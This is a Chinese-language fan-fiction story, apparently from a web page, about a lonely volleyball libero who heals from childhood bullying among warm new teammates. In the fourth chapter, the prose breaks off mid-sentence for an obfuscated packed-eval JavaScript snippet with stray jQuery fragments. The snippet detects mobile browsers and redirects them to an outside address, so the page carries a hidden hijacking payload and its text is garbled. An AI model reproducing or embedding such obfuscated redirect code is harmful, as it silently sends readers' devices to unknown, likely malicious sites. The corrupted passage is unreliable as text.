银海跟在队伍最后，指尖无意识摩挲着口袋里的创可贴——小太阳图案的边缘被捏得发皱，像他此刻没说出口的心事。晚风卷着桂花，落在他运动裤的膝盖处，那里还沾着下午救球蹭的泥土，旧伤疤在布料下隐隐发紧，像根细针，轻轻戳开了藏在心底的回忆。
他低头踢开脚边的梧桐叶，叶背的纹路让他想起小学四年级的排球馆地板。那时候的地板也是这样，泛着旧木头的光泽，只是比现在的更滑。他记得很清楚，那天是联赛半决赛，他穿着洗得发白的队服，膝盖上已经磨出了毛边——前一场救球摔的，还没来得及贴创可贴。教练在赛前拍着他的肩说“银海，靠你的自由人了”，可他刚站到场地里，佐藤浩就走过来，用鞋尖踢了踢他的球鞋：“别以为教练夸你两句就真当自己是回事，自由人不过是我们得分的垫脚石。”
那天的桂花也像现在这样香，从体育馆的窗户飘进来，落在佐藤浩的发梢上。银海没敢反驳，只是攥紧了排球——那时候的球比现在的硬，球面还印着“校队”的字样，是他求了教练好久才拿到的。比赛到第三局，比分咬得紧，佐藤浩突然把球传得又偏又急，银海扑过去救，膝盖重重磕在地板上，疼得他眼前发黑。球是救回来了，可佐藤浩却对着裁判喊“他越位了”，明明他落地时脚还在界内。
队友们没人帮他说话，都围在佐藤浩身边，有人还笑着说“银海你也太急了”。他蹲在地上揉膝盖，血渗过队服的破洞，沾在地板上，像朵难看的小红花。佐藤浩走过来，用鞋底蹭了蹭那片血迹：“看吧，连救个球都要流血，你这自由人，除了添麻烦还会干嘛？”桂花落在他的手背上，甜香里裹着的，全是他没忍住的眼泪。
“银海同学？你走慢啦！”日向的声音从前面传来，手里举着个啃了一半的红薯，红薯的甜香盖过了桂花的味道。银海猛地回神，赶紧把差点溢出眼眶的湿意压下去，加快脚步跟上。日向把红薯递到他面前：“还剩一口，你吃吗？我妈说这个补铁，下次训练不容易累。”
银海摇了摇头，目光却落在日向的膝盖上——那里贴着块卡通创可贴，是下午摔了后赤苇帮他贴的。他突然想起转学后的那个秋天，也是这样的傍晚，他在新学校的公告栏前贴排球社的招募启事。纸是他用攒了两周的零花钱买的，特意选了最厚的米黄色，还在边角画了小小的排球图案。可风一吹，纸就卷了边，桂花落在“招募自由人”那几个字上，像在嘲笑他的不自量力。
他守了公告栏三天。第一天，有个高年级的路过，瞥了眼纸就笑：“就你这小个子，还想组排球社？别被球砸哭了。”第二天，下雨，纸被淋得皱巴巴的，字迹都晕开了。第三天，他自己把纸撕了下来——指尖被公告栏的钉子划破，血珠滴在“队友”两个字上，他攥着湿软的纸，走到操场角落的垃圾桶旁，看着纸被风吹得打转，最后还是没扔，塞进了书包最底层。
后来他就一个人练球。每天放学后，他抱着那个磨破球面的旧排球，在空荡荡的操场上跑。发球、救球、垫球，球砸在地上的声音响得吓人，连捡球的人都没有。有次他扑球摔在桂花丛里，球滚得老远，他爬起来时，发梢沾着桂花，膝盖又破了，却没人递创可贴，只能自己用校服袖子擦伤口。那时候他想，要是有人愿意跟他一起练球就好了，哪怕只会捡球也行。
“银海同学，你看！”日向突然停住脚步，指着前面的小卖部，“他们还没关门！要不要买瓶汽水？我请你！”银海顺着他的手指看过去，小卖部的灯亮着暖黄的光，玻璃窗上贴着“秋季特饮”的海报。清水和赤苇已经走了过去，岩泉站在门口，手里还拿着刚才掉的护膝——护膝上的桂花还没掉，被他小心地拂到了花坛里。
银海的喉结动了动，没说话，却跟着日向走了过去。他看着日向蹦蹦跳跳地跟老板说“要两瓶橘子汽水”，看着赤苇帮清水擦硬排上的灰尘，看着岩泉把护膝叠好放进包里——这些画面太热闹，太暖，像团小太阳，把他心里的冷意一点点烘开。
他突然想起下午训练时，日向扑球摔了，清水第一时间跑过去扶，赤苇递上湿巾，连最话少的岩泉都皱着眉问“疼不疼”。而他自己，不过是帮日向捡了次水壶，帮岩泉捡了次护膝，他们就记得清清楚楚，说“谢谢”的时候眼睛亮晶晶的。他以前从来不知道，原来队友之间可以是这样的——不是围着王牌转，不是嘲笑谁的失误，而是你摔了，有人拉你；你错了，有人陪你改。
日向把橘子汽水递到他手里，冰凉的瓶身在掌心沁出细汗。“银海同学，”日向咬着吸管，眼睛弯成月牙，“明天咱们练救球好不好？你教我怎么判断球的方向，我肯定学得很快！”
银海拧开瓶盖，汽水的气泡声在耳边响着，他抬头看向日向——夕阳的余晖落在日向的发梢，沾着的桂花像撒了把碎金，明明刚才还被他吐槽“发球菜”，现在却毫无顾忌地笑着，一点都不怕被说“笨”。银海的心里突然有点发空，又有点发满——他以前总觉得，勇气是“打得厉害”“不被欺负”，可看着日向，他才发现，原来勇气也可以是“不怕被说菜”“敢跟大家一起闹”“哪怕摔了也能笑着爬起来”。
他喝了口汽水，橘子味的甜意漫开，压过了旧伤疤的涩。晚风又吹过来，桂花落在汽水罐上，银海伸手拂掉，指尖却不小心碰到了日向的手——温热的，带着练球的薄茧。他像被烫到似的缩回手，耳尖却悄悄红了，没像平时那样说“别碰我”，只是低头踢了踢梧桐叶，小声说：“……明天早点来。”
日向眼睛瞬间亮了：“好啊！我肯定不迟到！”
银海没再说话，只是加快了脚步，跟日向并肩走在路灯下。梧桐叶的影子落在两人脚下，偶尔有桂花飘过来，粘在他的浅棕发上——这次他没像下午那样扯掉，任由花瓣留在发梢。他看着前面吵吵闹闹的三人，看着日向手里晃着的汽水罐，心里某个藏了很久的角落，好像被这暖融融的秋风吹开了道缝，有光透了进来。
他想起那个被他塞进书包底层的旧排球，想起那张被雨淋透的招募启事，想起空荡荡的操场——原来有些勇气不是天生的，是有人陪着你，给你递创可贴，跟你一起捡球，让你敢重新拿起球，敢相信“这样的日子也很好”。而他现在，好像也找到了这样的人。
雪之丘排球社纪事：刺头新队友
第四章旧排球与新约定
周末的体育馆比平时安静，只有梧桐叶被风吹得“沙沙”响，桂花香从半开的窗户飘进来，落在靠在墙边的旧排球上——那是银海早上带来的，球面磨得发白，气嘴旁边的浅褐色印子在阳光下格外明显。
日向第一个到，刚推开门就看见那个排球，眼睛瞬间亮了，轻手轻脚走过去，指尖刚碰到球面就被银海出声叫住：“别碰。”
日向吓了一跳，回头看见银海背着包站在门口，手里还提着个塑料袋，里面装着几瓶冰镇汽水。“这是你的旧排球吗？”日向没敢再碰，却忍不住好奇，“上面的印子是怎么来的呀？看起来用了好久了。”
银海没回答，把汽水放在器材架上，弯腰把旧排球往包边挪了挪，动作轻得像怕碰碎什么：“练球吧，今天加练二传配合，你跟我一组。”
日向赶紧点头，跑去拿自己的软排球，路过清水身边时，还悄悄指了指银海的旧排球。清水抱着他的硬排，刚擦完球面，顺着日向的方向看了眼，没多问，只是把擦球布叠好放进包里——他记得银海昨天护着硬排的样子，知道有些东西得等主人愿意说的时候才问。
训练刚开始，银海就暴露了旧习惯。赤苇把球传给他，明明日向就在旁边，他却下意识自己垫了两下，想直接把球救到对面场地，结果力道没控制好，球砸在了器材架上。“银海同学！”日向跑过去捡球，“你怎么不传给我呀？咱们是一组的呀！”
银海的手顿了顿，没看日向：“传给你你也接不住，浪费时间。”话虽硬，却在日向跑回来递球时，轻轻把球往他面前推了推：“这次看准了，我传过去你就垫，别跳太高。”
日向眼睛一亮，赶紧摆好姿势。银海深吸一口气，抬手传球——力道比刚才轻了不少，球稳稳落在日向面前。日向垫球回传，虽然有点偏，银海却没像以前那样吐槽，而是跑过去救球，把球重新传给日向：“再试一次，这次往左边挪半步。”
练到中午，太阳透过窗户晒在场地中央，银海的额角全是汗，旧排球被他挪到了阴凉处，球面沾了片飘进来的桂花。清水从包里拿出面包，分给每个人，递到银海面前时，特意多拿了袋草莓酱：“我看你昨天吃面包没抹酱，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379554|184081||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个给你。”
银海接过酱，指尖碰到包装袋的温度，突然想起小学时的联赛赛后——佐藤浩把教练给的面包全拿走了，只给他留了个干巴巴的馒头，他蹲在桂花树下啃馒头，馒头渣掉在地上，引来几只蚂蚁。而现在，手里的面包还带着余温，草莓酱的甜香混着桂花味，让他喉咙有点发紧。
“银海同学，你看这个！”日向突然举着张纸跑过来，是赤苇画的战术图，上面用彩色笔标着每个人的位置，“赤苇说咱们下次可以试试‘高低位配合’，你跳得虽然没田中高，但你反应快，负责拦网下的救球，我来帮你递球！”
银海凑过去看，战术图上，他的位置旁边画了个小小的排球，旁边写着“自由人·银海”，字迹工整。他想起转学后自己画的战术图，纸是从作业本上撕下来的，画得歪歪扭扭，最后被他揉成一团，跟招募启事一起塞在书包底层。
“怎么样？”日向睁着圆眼睛看他，“咱们下周就练这个好不好？赤苇说肯定能行！”
银海没说话，却伸手在战术图上指了指：“这里，你得再往左边挪点，不然我救球的时候会撞到你。”日向立刻点头：“好！赤苇，快改过来！银海同学说我要往左挪！”
赤苇笑着拿起笔，刚改完，就看见岩泉从外面走进来，手里拿着个新的排球网——昨天训练时网子被日向撞松了，岩泉特意回家拿了工具来修。“我来搭网，”岩泉把网子放在地上，“你们先歇会儿，搭好再练。”
银海突然站起来：“我帮你。”没等岩泉回应，他已经拿起了网绳。两人蹲在地上搭网，岩泉递工具，银海系绳子，动作意外默契。岩泉看着银海系绳的手法——手指灵活，绳结打得又紧又整齐，忍不住问：“以前搭过？”
银海的动作顿了顿，声音比平时轻：“小学时队里的网总松，都是我来修。”岩泉没再问，只是把钳子递得更稳了点。
网搭好时，夕阳已经开始西斜，桂花香更浓了。日向提议玩场“迷你比赛”，五个人分成两组，银海、日向、赤苇一组，田中、清水、岩泉一组——
比赛刚开始，银海还是习惯自己救球，直到日向扑过来帮他接了个快出界的球，膝盖蹭在地上，却还笑着喊：“银海同学！我接住啦！快传给赤苇！”银海看着日向沾了泥土的膝盖，突然想起小学时那个摔在桂花丛里的自己——那时候没人帮他捡球，没人跟他说“一起打”，只有他一个人抱着球，在空荡荡的操场上跑。
他深吸一口气，抬手把球传给赤苇，赤苇再传给日向，日向跳起来扣球——虽然没扣中，却让所有人都笑了。田中笑着喊“日向你跳得再高也没用”，清水赶紧跑过去捡球，岩泉靠在墙边，嘴角也悄悄翘了起来。
比赛结束时，天已经有点暗了。大家收拾东西，银海弯腰去拿自己的包，却发现旧排球被挪到了社团的球筐里——球筐里放着日向的软排球、清水的硬排、赤苇的训练球，他的旧排球混在中间，球面的桂花还在，看起来不再孤单。
“我帮你放进去的，”日向跑过来，手里拿着个小贴纸，上面画着个小小的自由人，“这个给你！贴在旧排球上，以后它就是咱们社团的‘元老球’啦！”
银海接过贴纸，指尖捏着贴纸的边缘，没说话，却在日向转身时，悄悄把贴纸贴在了旧排球的气嘴旁边——正好盖住了那道浅褐色的印子。
走出体育馆时，月光洒在地上，梧桐叶的影子拉得长长的。日向走在最前面，哼着歌，手里晃着银海帮他捡的水壶；赤苇和清水走在中间，聊着下周的训练计划；岩泉跟在后面，手里拿着银海落下的擦汗毛巾；银海走在最后，看着前面吵吵闹闹的几人，怀里抱着贴了新贴纸的旧排球，心里像被桂花填满了，暖得发涨。
他突然想起转学后那个独自练球的傍晚，那时候他以为，自己再也不会有勇气拿起排球组队。可现在，他看着身边的人，看着怀里的旧排球，突然明白——勇气不是不害怕被欺负，不是一个人硬撑，而是有人愿意跟你一起摔、一起练、一起把捡回来的球重新抛向空中，让你敢相信，这次不会再是一个人。
晚风卷着桂花，落在旧排球上。银海抬手拂掉花瓣，脚步悄悄加快了些，离前面的身影更近了点——他知道，属于他的新故事，才刚刚开始。